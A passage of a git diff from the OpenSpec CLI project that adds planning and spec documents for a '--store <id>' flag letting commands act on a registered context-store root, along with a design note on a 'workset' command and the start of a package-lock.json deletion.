'store' | 'nearest' | 'implicit'; + store_id?: string; +} +``` + +Human output: + +- When `--store` is selected, write exactly one root banner to stderr before or + near the command payload: + `Using OpenSpec root: team-context (/abs/path)`. +- Do not write the banner to stdout. This protects raw Markdown from `show` and + agent-consumed text from `instructions`. +- Without `--store`, leave human output unchanged. + +JSON output: + +- On JSON success, add top-level `root` to every supported command's existing + JSON payload. +- Keep existing command-specific fields stable; `root` is additive. +- Use `source: 'store'` with `store_id` only for selected stores. +- Use `source: 'nearest'` for nearest-root resolution. +- Use `source: 'implicit'` only for preserved implicit-root behavior. +- Resolver failures should have the same message text, error code, and non-zero + exit behavior across supported commands. Existing JSON error envelopes can + remain command-specific, but the resolver status inside them must be + consistent and JSON-mode failures must not print prose or blank lines to + stdout. + +Path output: + +- When a store is selected, any command output that names files in the store + should use absolute paths. +- Without `--store`, preserve today's relative path style where practical. + +## CLI Flag Contract + +Supported commands get: + +- `--store <id>` with help text like `Registered context store id to use as the + OpenSpec root`. +- A deliberate `--store-path <path>` rejection path. Use a hidden/compatibility + option if needed so Commander does not emit a generic unknown-option error. +- Top-level `show` needs special care because it currently uses + `allowUnknownOption(true)`: explicitly register both `--store <id>` and a + hidden `--store-path <path>` on that command so the unsupported path selector + cannot be silently ignored. + +`new change` cleanup: + +- Remove or deliberately reject `--initiative`. +- Keep `--store` for root selection only. +- Reject `--store-path` with register guidance. +- Keep `--goal` as ordinary optional change metadata. +- Reject `--areas` because affected workspace links only made sense for + workspace-scoped planning. + +`set change` removal: + +- Remove `set change` registration from `src/cli/index.ts`. +- Remove `SetChangeOptions`, `setChangeCommand` exports, and + `src/commands/workflow/set-change.ts` if no remaining import needs them. +- Check `src/commands/workflow/initiative-link.ts` after both `new change` and + `set change` stop importing it; remove it too if it becomes orphaned. +- Remove `set change` from completion metadata and command-reference tests. +- Do not add a deprecated stub or replacement command in this slice. + +## Command Implementation Plan + +### `new change` + +- Resolve the OpenSpec root before validating schema or writing files. +- Remove initiative-link lookup and metadata creation. +- Remove or replace `assertInitiativeSelectorsHaveReference` and + `assertRepoLocalInitiativeLinkPlanningHome` usage so `--store` no longer + requires `--initiative`. +- Reject `--initiative`, `--store-path`, and `--areas` before creating files. +- Preserve `--description`, `--goal`, `--schema`, and `--json`. +- Write changes under the resolved root's `openspec/changes/`. +- When selected by store, print the root banner to stderr and use absolute paths + in human and JSON path fields. +- Add `root` to JSON success. + +### `status` + +- Add selector options and resolve the root. +- Use the resolved root for change discovery, schema resolution, and + `loadChangeContext`. +- Add `root` to every JSON success shape, including no-active-changes output. +- Print the selected-store banner to stderr in human mode. + +### `instructions` + +- Add selector options and resolve the root for both artifact instructions and + `instructions apply`. +- Keep stdout payload clean. The root banner goes to stderr only. +- Add `root` to JSON success for artifact and apply instructions. +- Ensure file paths returned for selected stores are absolute where they point + into the store. + +### `list` + +- Update top-level `openspec list` to resolve the root before listing. +- Make `ListCommand` accept an absolute root or directories instead of assuming + cwd. +- Preserve deprecated noun-form `openspec change list` and `openspec spec list` + behavior. +- Add minimal JSON support for `list --specs --json` in this slice so specs mode + also gets the shared `root` block. +- Add `root` to JSON success and stderr banner for selected stores. + +### `show` + +- Resolve the root in top-level `openspec show`. +- Update item discovery to accept a root path. +- Update top-level show delegation so change/spec reads use the resolved root. +- Preserve deprecated noun-form commands as cwd-based. +- Keep raw Markdown stdout unmodified; root banner goes to stderr. +- Add `root` to JSON success for both change and spec output. +- Add a focused `show --store-path /x` test because `allowUnknownOption(true)` + would otherwise mask the deliberate rejection. + +### `validate` + +- Resolve the root in top-level `openspec validate`. +- Update direct validation, type detection, bulk validation, and interactive + item pickers to discover and operate within the resolved root. +- Add `root` to JSON success for single-item and bulk output. +- Keep deprecated noun-form `change validate` and `spec validate` cwd-based. + +### `archive` + +- Add `--store <id>`, deliberate `--store-path` rejection, and `--json`. +- Resolve the root before selecting or validating a change. +- Use selected root changes, specs, and archive directories for validation, + spec updates, and moving the change into archive. +- In JSON mode, return the archive result and root block without human prose. +- JSON mode must be non-interactive: suppress spinner/ora output and + confirmation prompts (require `--yes` or fail with a clear error instead of + hanging on a prompt). +- JSON mode requires an explicit change name. Without one, fail before the + interactive picker. +- JSON failure cases such as validation failure, incomplete-task refusal, + spec-update abort, and cancelled confirmation should exit non-zero and emit a + machine-readable diagnostic instead of stdout prose. Do not let CLI wrapper + blank lines or ora failure output pollute JSON stdout. +- In human mode, print selected-store root banner to stderr and keep archive + status/progress on stdout. + +### `context-store setup` and `register` + +- Update successful human next steps to show normal command usage: + `openspec new change <id> --store <store-id>`. +- Update JSON output only if there is already a next-steps field. Do not invent a + large onboarding payload in this slice. + +## Error And Diagnostic Plan + +Use existing error styles where possible, but make these cases clear. The names +below are the normal-command diagnostic names; when reusing existing +`ContextStoreError` codes, document the mapping instead of inventing a second +taxonomy silently: + +- `unknown_store`: names the unknown id and lists registered ids. +- `no_registered_stores`: when `--store` is used with no registry; must not + suggest `--store-path`. +- `unhealthy_store_root`: describes missing/incomplete root and points to + `openspec context-store doctor`. +- `store_identity_mismatch`: describes registry id vs metadata id and points to + doctor. +- `store_path_not_supported`: points to `context-store register` plus + `--store <id>`. +- `no_root_with_registered_stores`: names registered stores and suggests + `--store <id>` or `openspec init`. +- `initiative_option_removed`: tells users that normal changes no longer attach + to initiatives. +- `areas_option_removed`: tells users that workspace affected areas are not part + of the normal OpenSpec root path. + +Guardrails: + +- Resolution failures must occur before writes. +- Store health failures must not run setup/repair. +- Metadata missing or id mismatch should be reported before generic root-health + failures. +- Unknown or removed options should not create partial change directories. +- No supported command should silently ignore `--store` or `--store-path`. + +## Test Plan + +Create focused helpers for this slice rather than copying large setup blocks. +Suggested helper shape: + +- Temporary app repo root with no `openspec/`. +- Temporary app repo root with its own `openspec/`. +- Temporary registered context store with healthy root. +- Helpers to write store metadata and registry under isolated + `XDG_DATA_HOME`/`XDG_CONFIG_HOME`. +- Helpers to create changes/specs in a chosen root. +- Helper to parse JSON and assert root block. + +Add or update tests: + +- `test/core/root-selection.test.ts` or `test/core/planning-home.test.ts` + for resolver behavior: + - selected store resolves to healthy root. + - unknown store lists registered ids. + - unhealthy root fails without repair. + - metadata mismatch fails. + - nearest root wins without `--store`. + - leftover workspace state is ignored. + - no root plus registered stores fails with store-selection hint. + - no root plus no registered stores allows implicit only when requested. +- `test/commands/store-root-selection.test.ts` for CLI end-to-end behavior: + - `new change --store team-context` creates only in the store. + - selected store wins over nearby root. + - `status`, `instructions`, `list`, `show`, `validate`, and `archive` operate + in the selected store. + - human selected-store output writes the root banner to stderr and leaves + `show`/`instructions` stdout clean. + - JSON success payloads include the shared `root` block. + - paths in selected-store output are absolute. + - `--store-path` rejects with register guidance, including + `show --store-path /x`. + - unknown-store resolver errors have matching code/message/exit behavior + across at least two commands. + - invalid store id format fails before registry lookup. + - no-root plus registered stores fails without scaffolding. + - workspace state alone is not a root. + - `validate --all`, archive's interactive picker in human mode, and other + item pickers use the resolved root. + - stderr/stdout purity tests distinguish streams by spawning the built CLI or + by separately stubbing `process.stdout.write` and `process.stderr.write`; + assert `show` stdout starts with the raw Markdown payload. +- `test/commands/artifact-workflow.test.ts` updates: + - `new change --initiative` now rejects and writes no change. + - `new change --areas` rejects and writes no affected-area metadata. + - `new change --goal` still writes ordinary metadata and does not switch schema. +- `test/commands/change-initiative-link.test.ts`: + - delete or rewrite as legacy-read-only coverage. + - Initiative commands can remain tested elsewhere, but normal `new change` and + `set change` linking expectations must be removed. +- `test/commands/completion.test.ts` and + `test/core/completions/command-registry.test.ts`: + - `new change` advertises `--store` as root selection. + - `set change` is absent. + - old initiative wording is absent from normal `new change` completion + metadata. +- `test/commands/context-store.test.ts`: + - setup/register next-step output shows `--store` usage. +- `test/core/archive.test.ts` and command-level archive tests: + - archive can run against an explicit root and JSON payload includes root. + - `archive --json` without a change name fails non-interactively. + - JSON validation/spec-update/task-check failures exit non-zero without prose + on stdout. + +Run order during implementation: + +```bash +pnpm test -- test/core/root-selection.test.ts +pnpm test -- test/commands/store-root-selection.test.ts +pnpm test -- test/commands/artifact-workflow.test.ts +pnpm test -- test/commands/context-store.test.ts +pnpm test -- test/commands/completion.test.ts +pnpm test -- test/commands/validate.test.ts test/commands/show.test.ts +pnpm run build +pnpm test +``` + +## Implementation Checklist + +- [ ] Add shared root selection types, resolver, root JSON helper, and selected + store stderr banner helper. +- [ ] Wrap or update context-store registry errors so normal commands drop + `--store-path` suggestions and unknown stores list registered ids. +- [ ] Add root-aware item discovery helpers for changes, specs, and archived + changes. +- [ ] Update supported CLI command option types and parser wiring. +- [ ] Remove `openspec set change` registration and normal command completion + metadata. +- [ ] Remove `setChangeCommand` exports and implementation if unused. +- [ ] Update `new change` to root selection only, with initiative and areas + rejection before writes, and remove initiative selector assertions that would + reject `--store` without `--initiative`. +- [ ] Update `status` and `instructions` to use the shared resolver and output + root information. +- [ ] Update `list`, including specs JSON output, to use the shared resolver. +- [ ] Update top-level `show` to use the shared resolver while leaving noun-form + commands unchanged. +- [ ] Update top-level `validate`, including bulk and interactive paths, to use + the shared resolver. +- [ ] Update `archive` to support selectors, JSON success and failure output, + non-interactive JSON mode, and selected-root filesystem paths. +- [ ] Update `context-store setup` and `register` next-step output. +- [ ] Decide whether `src/commands/workflow/initiative-link.ts` is still needed + after `new change` and `set change` cleanup; remove orphaned exports only when + no remaining imports use them. +- [ ] Replace initiative-link creation tests with removed-option and legacy-read + tests. +- [ ] Add root-selection resolver and CLI tests from the matrix above. +- [ ] Run targeted tests, then build, then full test suite. + +## Risks And Guardrails + +- Raw stdout pollution is the easiest regression. Keep root banners on stderr and + assert that `show` and `instructions` stdout starts with their normal payload. +- Commander unknown-option behavior can produce generic errors or, for `show`, + silently ignore options because of `allowUnknownOption(true)`. Add deliberate + hidden compatibility options for `--store-path` where needed. +- Bulk validation and interactive pickers are easy to miss because they discover + items before opening files. Make discovery root-aware first. +- Existing `ChangeCommand` and `SpecCommand` are also used by deprecated noun + commands. Avoid changing those constructors in a way that accidentally gives + noun commands `--store` behavior. +- `archive` does validation, spec updates, task checks, and movement. Resolve all + directories up front from the same root to avoid cross-root reads or writes. +- Do not let context-store registry resolution create metadata or repair roots. + Selection is read-only diagnosis plus command execution. + +## Done Definition + +- All supported commands accept `--store <id>` and act on the selected root. +- `--store-path` rejects deliberately with register guidance. +- No supported command silently ignores `--store`. +- Without `--store`, nearest-root behavior remains, workspace state no longer + wins, and no-root-with-registered-stores fails with a clear hint. +- `new change` creates no initiative metadata, rejects old initiative options, + and handles `--goal`/`--areas` per the spec. +- `openspec set change` is not registered, not in help, and not in completion + metadata. +- JSON success payloads include the shared root block. +- JSON-mode resolver and archive-blocked failures are non-interactive, + non-zero, and do not pollute stdout with human prose. +- Human selected-store output names the root on stderr without changing raw + stdout payloads. +- Tests cover the acceptance scenarios in `spec.md`. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-root-selection/spec.md b/openspec/work/simplify-context-and-workspace-model/slices/store-root-selection/spec.md new file mode 100644 index 0000000000..189daea3b1 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-root-selection/spec.md @@ -0,0 +1,389 @@ +# Store Root Selection For Normal Commands Spec + +## Outcome + +Normal OpenSpec commands can act on a registered standalone OpenSpec root +selected by name: + +```bash +openspec new change add-billing --store team-context +``` + +Selecting a store resolves to an ordinary OpenSpec root. Everything downstream +behaves exactly as if the command had been run from inside that root: the same +`openspec/specs/`, `openspec/changes/`, and `openspec/changes/archive/` files, +the same schema, the same lifecycle. + +This slice also retires initiative-link creation from normal change flows +(Phase 2.1 pulled forward), so `--store` has exactly one meaning: which +OpenSpec root should this command use. + +## Locked Decisions (2026-06-10) + +1. **`--store` means root selection, and only that.** The old initiative + meaning of `--store` / `--store-path` on `new change` and `set change` is + removed in this slice. New changes do not create initiative links. + Initiative linking was `set change`'s only behavior, so `openspec set + change` is removed rather than kept as a deprecated stub or empty shell. +2. **`--store <id>` (registry lookup) is the only selector.** `--store-path` + is deferred. Registering a clone is the answer for path access; the path + form can be added later if someone actually hits the wall. +3. **Leftover workspace state never wins root resolution on this path.** The + workspace branch of the resolver is demoted during this slice's resolver + rework instead of waiting for Phase 2.3/5.1. +4. **No silent implicit-root scaffold when stores are registered.** When the + current directory has no OpenSpec root and registered stores exist, the + command errors with a hint naming the registered stores instead of + scaffolding a new local root. When no stores are registered, current + behavior is unchanged. + +## User Experience + +A human stays in the project repo they are working on and tells their agent +where the work lives. The agent discovers registered stores and selects one by +name: + +```bash +openspec context-store list --json +openspec new change add-billing --store team-context +openspec status --change add-billing --store team-context +openspec instructions proposal --change add-billing --store team-context +openspec archive add-billing --store team-context +``` + +When a store is selected, every supported command emits a human-visible +verification signal so the human can verify the work landed in the right repo +without watching the CLI run. In human mode, this signal is written to stderr so +commands whose stdout is raw Markdown or agent-consumed instructions keep their +normal stdout payload: + +```text +Using OpenSpec root: team-context (/Users/alice/src/team-context) +``` + +Without `--store`, commands keep using the nearest OpenSpec root when one +exists, including when the user is working inside the standalone repo itself. +The flag is never required; it is how you reach a root you are not standing in. +This slice intentionally changes only two legacy no-flag cases: leftover +workspace view state no longer wins root resolution, and a no-root directory +with registered stores errors with a store-selection hint instead of silently +scaffolding a new local root. + +## Scope + +In scope: + +- `--store <id>` on `new change`, `status`, `instructions`, `list`, `show`, + `validate`, and `archive`, with identical semantics on each. +- One shared OpenSpec-root resolver behind those commands, replacing the + per-command `cwd + openspec/changes` path joins. +- Resolved-root reporting in human stderr and JSON output for those commands. +- `--json` on `archive` (it has none today), so the shared root block is + uniform across the command set. +- Minimal `list --specs --json` support so specs listing also participates in + the shared root reporting contract. +- A deliberate `--store-path` rejection that points to + `context-store register`; a generic unknown-option error is not enough. +- Absolute paths in command output whenever a store is selected. +- Clear errors: unknown store id lists registered ids; unhealthy store root + points to `context-store doctor`. +- Consistent resolver errors across supported commands: same resolver error + code, same user-facing message, and non-zero exit, even if existing + command-specific JSON envelopes remain different. +- The no-root-plus-registered-stores error and hint. +- Demoting leftover workspace view state in root resolution for these + commands. +- Removing initiative-link creation (and the old initiative meanings of + `--store` / `--store-path`) from `new change`. +- Removing `openspec set change` from the CLI, help, completions metadata, + workflow exports if unused, and command tests/docs references. No deprecation + stub is kept because initiative linking was its only behavior. +- Clarifying workspace-era `new change` options: `--goal` remains ordinary + optional change metadata and never affects root selection, while `--areas` is + rejected because affected workspace links only made sense for workspace-scoped + planning. +- Next-steps output from `context-store setup` and `register` that shows + `--store` usage (depends on slice 1.1, `store-root-parity`, being merged). +- Help text for the supported commands describing `--store` consistently. +- Tests that cover the scenarios in this spec. + +Out of scope: + +- `--store-path` or any path-addressed selection (deferred). +- A default or sticky store per project repo, env vars, or any durable + app-repo-to-store binding. +- Code-repo relationship declarations or local mapping. +- Opening views or workspace opening behavior (Phase 4). +- Clone, pull, push, sync, branch, worktree, dashboard, apply, verify, or + archive orchestration. +- Broad deletion of initiative/workspace systems, commands, code, or existing + user data; this slice only removes the normal-flow surfaces called out above + and leaves existing legacy data alone. +- Updating generated agent skills and guidance to mention `--store` (tracked + separately; do not forget it). +- Deprecated noun-form commands (`openspec change show`, `openspec spec + show`, and similar): they keep their current cwd-based behavior and do not + gain `--store`. +- Public docs rewrites or `context-store` terminology renaming (L7). + +## Acceptance Criteria + +### Selecting A Registered Store By Id + +`--store <id>` resolves the id through the local registry to the store's +OpenSpec root and runs the command against that root. + +#### Scenario: Creating A Change In A Selected Store + +- **GIVEN** a registered context store `team-context` with a healthy OpenSpec + root +- **AND** the current directory is a project repo without its own `openspec/` + root +- **WHEN** the user runs `openspec new change add-billing --store team-context` +- **THEN** OpenSpec creates `openspec/changes/add-billing/` inside the + `team-context` store root +- **AND** OpenSpec writes no OpenSpec artifacts under the current directory +- **AND** the output names the resolved root id and absolute path + +#### Scenario: Reading And Archiving In A Selected Store + +- **GIVEN** the `team-context` store contains the change `add-billing` +- **AND** the current directory is a project repo +- **WHEN** the user runs `list`, `show`, `status`, `validate`, and `archive` + with `--store team-context` +- **THEN** each command reads the store's `openspec/changes/` and + `openspec/specs/` +- **AND** `archive` moves the change into the store's + `openspec/changes/archive/` +- **AND** no OpenSpec artifacts under the current directory are read or + written + +#### Scenario: Explicit Selection Wins Over The Nearest Root + +- **GIVEN** the current directory is inside a repo that has its own + `openspec/` root +- **WHEN** the user runs a supported command with `--store team-context` +- **THEN** OpenSpec uses the `team-context` store root +- **AND** OpenSpec does not read or write the nearby local root + +#### Scenario: Rejecting An Unknown Store Id + +- **GIVEN** `team-context` is the only registered store +- **WHEN** the user runs a supported command with `--store team-contxt` +- **THEN** OpenSpec fails with an error naming the unknown id +- **AND** the error lists the registered store ids +- **AND** OpenSpec creates no files + +#### Scenario: Rejecting An Unhealthy Store Root + +- **GIVEN** a registered store whose OpenSpec root is missing or incomplete +- **WHEN** the user runs a supported command with `--store` for that id +- **THEN** OpenSpec fails with an error describing the root problem +- **AND** the error points to `context-store doctor` +- **AND** OpenSpec does not scaffold or repair the store root + +#### Scenario: Rejecting A Mismatched Store Identity + +- **GIVEN** a registered store whose `.openspec-store/store.yaml` id does not + match its registry id +- **WHEN** the user runs a supported command with `--store` for that id +- **THEN** OpenSpec fails with an error describing the identity mismatch +- **AND** the error points to `context-store doctor` + +#### Scenario: Path Selection Is Not Available + +- **WHEN** the user passes `--store-path` to a supported command +- **THEN** OpenSpec rejects the option +- **AND** guidance points to `context-store register` plus `--store <id>` +- **AND** no supported command silently ignores it, including commands that + otherwise allow unknown options for legacy parsing + +### Default Resolution Without --store + +Without `--store`, commands resolve the nearest OpenSpec root exactly as a +user standing in that directory would expect. + +#### Scenario: Working Inside A Project Repo + +- **GIVEN** the current directory is inside a repo with an `openspec/` root +- **WHEN** the user runs a supported command without `--store` +- **THEN** OpenSpec uses the nearest `openspec/` root, unchanged from today + +#### Scenario: Working Inside The Standalone Repo Itself + +- **GIVEN** the current directory is inside a registered store's root +- **WHEN** the user runs a supported command without `--store` +- **THEN** OpenSpec uses that root as a normal OpenSpec root +- **AND** no flag is required + +#### Scenario: No Root Anywhere And No Registered Stores + +- **GIVEN** no ancestor directory contains an `openspec/` root +- **AND** no context stores are registered on this machine +- **WHEN** the user runs a supported command +- **THEN** each command behaves exactly as it does today, even where that + behavior differs between commands (for example, `new change` treats the + current directory as an implicit root, while `list` and `archive` fail and + point to `openspec init`) +- **AND** this slice does not normalize those per-command behaviors + +#### Scenario: No Root Here But Stores Are Registered + +- **GIVEN** no ancestor directory contains an `openspec/` root +- **AND** at least one context store is registered on this machine +- **WHEN** the user runs a supported command without `--store` +- **THEN** OpenSpec fails without scaffolding a new local root +- **AND** the error names the registered store ids +- **AND** the error suggests `--store <id>` or `openspec init` + +### Old Workspace State Never Wins + +Leftover workspace view state does not decide where these commands act. + +#### Scenario: Ignoring Workspace State Next To A Repo Root + +- **GIVEN** an ancestor directory contains leftover + `.openspec-workspace-view.yaml` state +- **AND** the current directory is inside a repo with an `openspec/` root +- **WHEN** the user runs a supported command without `--store` +- **THEN** OpenSpec uses the nearest `openspec/` root +- **AND** OpenSpec does not route to a workspace-owned changes directory +- **AND** OpenSpec does not switch to the workspace-planning schema + +#### Scenario: Ignoring Workspace State When A Store Is Selected + +- **GIVEN** an ancestor directory contains leftover workspace view state +- **WHEN** the user runs a supported command with `--store team-context` +- **THEN** OpenSpec uses the `team-context` store root + +#### Scenario: Workspace State Alone Is Not A Root + +- **GIVEN** an ancestor directory contains leftover workspace view state +- **AND** no ancestor directory contains an `openspec/` root +- **WHEN** the user runs a supported command without `--store` +- **THEN** OpenSpec treats the directory as having no OpenSpec root +- **AND** "No Root Anywhere And No Registered Stores" or "No Root Here But + Stores Are Registered" applies, depending on whether stores are registered + +#### Scenario: Workspace-Scoped Areas Are Rejected + +- **WHEN** the user runs `openspec new change add-billing --areas api` +- **THEN** OpenSpec rejects `--areas` +- **AND** OpenSpec does not switch to the workspace-planning schema +- **AND** OpenSpec does not create affected workspace-link metadata + +#### Scenario: Goal Metadata Does Not Select Workspace Planning + +- **WHEN** the user runs `openspec new change add-billing --goal "Improve billing"` +- **THEN** OpenSpec uses the same root resolution it would use without `--goal` +- **AND** `--goal` may write the existing change goal metadata +- **AND** OpenSpec does not create workspace-owned planning state + +### Initiative Links Are Retired From Normal Change Flows + +Phase 2.1, pulled forward: normal change creation stops attaching work to +initiatives. + +#### Scenario: New Changes Create No Initiative Metadata + +- **WHEN** `new change` completes, with or without `--store` +- **THEN** OpenSpec creates no initiative link or initiative metadata + +#### Scenario: Old Initiative Options Are Gone + +- **WHEN** the user passes `--initiative` to `new change` +- **THEN** OpenSpec rejects the option +- **AND** `--store` is documented as root selection only + +#### Scenario: Set Change Is Removed + +- **WHEN** the user runs `openspec set change` or `openspec set change --help` +- **THEN** the command is no longer available +- **AND** OpenSpec does not print deprecated command guidance for initiative + linking +- **AND** OpenSpec creates or modifies no files +- **AND** initiative linking was its only behavior, so no replacement is + provided in this slice + +#### Scenario: Existing Initiative Metadata Is Left Alone + +- **GIVEN** existing changes carry initiative metadata from the beta +- **WHEN** supported commands read or list those changes +- **THEN** OpenSpec does not modify or delete that metadata in this slice + +### Every Supported Command Reports Its Root + +The human's verification signal is the output, not the command line. + +#### Scenario: Human Output Names The Root + +- **WHEN** a supported command runs with `--store` in human mode +- **THEN** stderr includes the resolved store id and the absolute root path +- **AND** stdout remains the command's normal payload, so raw Markdown from + `show` and agent-consumed text from `instructions` are not prefixed or + injected with the root banner +- **AND** without `--store`, human output is unchanged from today + +#### Scenario: JSON Output Names The Root + +- **WHEN** a supported command succeeds with `--json` +- **THEN** the JSON output includes one shared root block with the same field + names and shape on every supported command, for example: + +```json +{ + "root": { + "path": "/abs/path", + "source": "store", + "store_id": "team-context" + } +} +``` + +- **AND** `source` is one of `store`, `nearest`, or `implicit` +- **AND** `store_id` is present only when a store was selected +- **AND** `implicit` is used only for preserved no-store behavior where a + command is allowed to treat the current directory as an implicit OpenSpec root +- **AND** `list --specs --json` emits JSON rather than human text so it can + include the shared root block +- **AND** existing JSON fields keep their current shapes; the root block is + additive + +#### Scenario: JSON Archive Is Non-Interactive + +- **WHEN** the user runs `archive --json` +- **THEN** OpenSpec never opens an interactive picker or confirmation prompt +- **AND** if a change id or confirmation is required, OpenSpec fails + non-interactively with a machine-readable diagnostic and a non-zero exit +- **AND** JSON-mode archive failures such as validation failure, + incomplete-task refusal, and spec-update abort do not print human prose or + blank lines to stdout + +#### Scenario: Cross-Root Paths Are Absolute + +- **GIVEN** a supported command runs with `--store` +- **WHEN** the output references files in the store +- **THEN** those paths are absolute, never relative to the current directory + +### The Command Set Behaves Consistently + +#### Scenario: Uniform Flag Semantics + +- **WHEN** any supported command (`new change`, `status`, `instructions`, + `list`, `show`, `validate`, `archive`) receives `--store` +- **THEN** selection, errors, and root reporting behave identically across + commands +- **AND** resolver failures use the same error code, message text, and exit + behavior across commands, even if command-specific JSON envelopes are + preserved +- **AND** no supported command silently ignores the flag +- **AND** bulk and interactive modes (`validate --all`, item pickers, and + similar) discover and operate on items within the resolved root + +### Setup Points To The Next Step + +#### Scenario: Setup And Register Show Store Usage + +- **WHEN** `context-store setup` or `context-store register` succeeds +- **THEN** the next-steps output shows running a normal command with + `--store <id>` diff --git a/openspec/work/simplify-context-and-workspace-model/workset-direction.md b/openspec/work/simplify-context-and-workspace-model/workset-direction.md new file mode 100644 index 0000000000..caf8624ef2 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/workset-direction.md @@ -0,0 +1,85 @@ +# User-Directed Follow-Up: Workset Correction (post-capstone review) + +> **Superseded (2026-06-19):** continued product review removed the +> code-repo declaration and map command group entirely. Worksets are +> purely LOCAL, personal, manually composed named views (see roadmap item +> 7.1, which is authoritative). Code repos enter a session because the user +> names folders in a workset or gives an explicit path, not because OpenSpec +> derives them from declarations. + +Date: 2026-06-12. Source: owner design review of the 4.1 autonomous +decisions (the `Decided autonomously (review me)` loop closing as +intended). This supersedes the 4.1 naming/scoping decisions; it does not +reopen any roadmap-locked decision. Implementation should run as a +follow-up slice with the standard per-slice discipline. + +## 1. `openspec context` becomes `openspec workset`, anchored on the change + +- Rename the 4.1 surface to `openspec workset`. "Context" names the data, + not the job; "working set" is the roadmap's own noun (Phase 4 goal: + "everything **this work** relates to in one working set") and the + established CS/Eclipse term for a derived, actively-in-use subset. +- Primary form: `openspec workset <change-name>` — the anchor is the work + item, not the root. Members and their roles derive from the change + outward: the root the change lives in (location), the change's codebase + narrowing with the root's declared list as fallback (declaration), the + root's referenced stores (declaration), paths via the machine map. + Emitted `.code-workspace` files are named after the change — the named, + reopenable view is the file, keyed to the work. +- Bare `openspec workset` remains the root-union view (everything the + resolved root's declarations describe). +- `--json` stays the agent brief and gains three inline operating-rule + lines: one root at a time; referenced stores are read-only context; + declared codebases are where work lands; reach another root explicitly + with `--store`. +- Rationale for rejecting alternatives is settled; do not relitigate: + `view` (breaking change vs the shipped dashboard; not specific), + `open` (verb without object), `workspace` (object grammar, industry + overload, self-collision with `.code-workspace`). + +## 2. The workset must shape the agent session boundary (launch consumer) + +Emitted paths do not cross agent sandbox boundaries: Claude Code prompts +outside its working dirs; codex sandboxes to launch roots. A brief that +only prints paths is the degraded mode. Therefore: + +- `--code-workspace` (shipped) is route 1: IDE agents inherit the + multi-root boundary from the workspace file. +- Add route 2: a launch flag (`workset open <change>` or `--open`) that + starts the configured consumer with the members granted — editor via the + workspace file; CLI agents via their boundary flags (`--add-dir` / + sandbox roots). Minimal version: editor only; degrade to printing the + file path when no opener is available. +- Route 3 (brief-only) remains valid: exact paths let an agent make a + precise access request a human can approve once. + +## 3. The code-repo relationship path is removed, not renamed + +- The old code-repo relationship command group and registry section are removed + from the product path. +- Primary interfaces for bringing code repos into the workspace are explicit: + user-provided paths, current working directory, and manually composed + worksets. +- Keep a small note for the future multi-repo coordination scenario, but do + not preserve machine tokens or diagnostics before the user model is clear. + +## 4. No workspace-style grouping registry + +Persistence of groupings lives in declarations (committed, team-shared) +plus the machine map; named views are the per-change `.code-workspace` +files (the editor's recents are the reopen surface; hand-editing the file +covers ad-hoc membership). Reintroducing registered groupings would +recreate a second membership truth, an object lifecycle, and local-only +state. Park "named saved sets beyond change-named files" as a Later Idea +gated on real-usage evidence. + +## 5. Grammar principles (record as standing guardrails) + +- Three tiers: closed-set product objects get noun groups (`store`); + open-set artifact collections ride generic verbs with the type as data + (no per-collection command groups, ever; the `change` group is frozen + legacy convenience); derived surfaces are verbs or result-nouns + (`doctor`, `workset`); plumbing gets a single verb (`map`). +- "Workspace" stays permanently retired as a product noun. +- Lifecycle stays in skills/schemas; the CLI remains the generic data + plane. diff --git a/package-lock.json b/package-lock.json deleted file mode 100644 index 03dad207d4..0000000000 --- a/package-lock.json +++ /dev/null @@ -1,4978 +0,0 @@ -{ - "name": "@fission-ai/openspec", - "version": "1.2.0", - "lockfileVersion": 3, - "requires": true, - "packages": { - "": { - "name": "@fission-ai/openspec", - "version": "1.2.0", - "hasInstallScript": true, - "license": "MIT", - "dependencies": { - "@inquirer/core": "^10.2.2", - "@inquirer/prompts": "^7.8.0", - "chalk": "^5.5.0", - "commander": "^14.0.0", - "fast-glob": "^3.3.3", - "ora": "^8.2.0", - "posthog-node": "^5.20.0", - "yaml": "^2.8.2", - "zod": "^4.0.17" - }, - "bin": { - "openspec": "bin/openspec.js" - }, - "devDependencies": { - "@changesets/changelog-github": "^0.5.2", - "@changesets/cli": "^2.27.7", - "@types/node": "^24.2.0", - "@vitest/ui": "^3.2.4", - "eslint": "^9.39.2", - "typescript": "^5.9.3", - "typescript-eslint": "^8.50.1", - "vitest": "^3.2.4" - }, - "engines": { - "node": ">=20.19.0" - } - }, - "node_modules/@babel/runtime": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.28.6.tgz", - "integrity": "sha512-05WQkdpL9COIMz4LjTxGpPNCdlpyimKppYNoJ5Di5EUObifl8t4tuLuUBBZEpoLYOmfvIWrsp9fCl0HoPRVTdA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@changesets/apply-release-plan": { - "version": "7.0.14", - "resolved": "https://registry.npmjs.org/@changesets/apply-release-plan/-/apply-release-plan-7.0.14.tgz", - "integrity": "sha512-ddBvf9PHdy2YY0OUiEl3TV78mH9sckndJR14QAt87KLEbIov81XO0q0QAmvooBxXlqRRP8I9B7XOzZwQG7JkWA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/config": "^3.1.2", - "@changesets/get-version-range-type": "^0.4.0", - "@changesets/git": "^3.0.4", - "@changesets/should-skip-package": "^0.1.2", - "@changesets/types": "^6.1.0", - "@manypkg/get-packages": "^1.1.3", - "detect-indent": "^6.0.0", - "fs-extra": "^7.0.1", - "lodash.startcase": "^4.4.0", - "outdent": "^0.5.0", - "prettier": "^2.7.1", - "resolve-from": "^5.0.0", - "semver": "^7.5.3" - } - }, - "node_modules/@changesets/assemble-release-plan": { - "version": "6.0.9", - "resolved": "https://registry.npmjs.org/@changesets/assemble-release-plan/-/assemble-release-plan-6.0.9.tgz", - "integrity": "sha512-tPgeeqCHIwNo8sypKlS3gOPmsS3wP0zHt67JDuL20P4QcXiw/O4Hl7oXiuLnP9yg+rXLQ2sScdV1Kkzde61iSQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/errors": "^0.2.0", - "@changesets/get-dependents-graph": "^2.1.3", - "@changesets/should-skip-package": "^0.1.2", - "@changesets/types": "^6.1.0", - "@manypkg/get-packages": "^1.1.3", - "semver": "^7.5.3" - } - }, - "node_modules/@changesets/changelog-git": { - "version": "0.2.1", - "resolved": 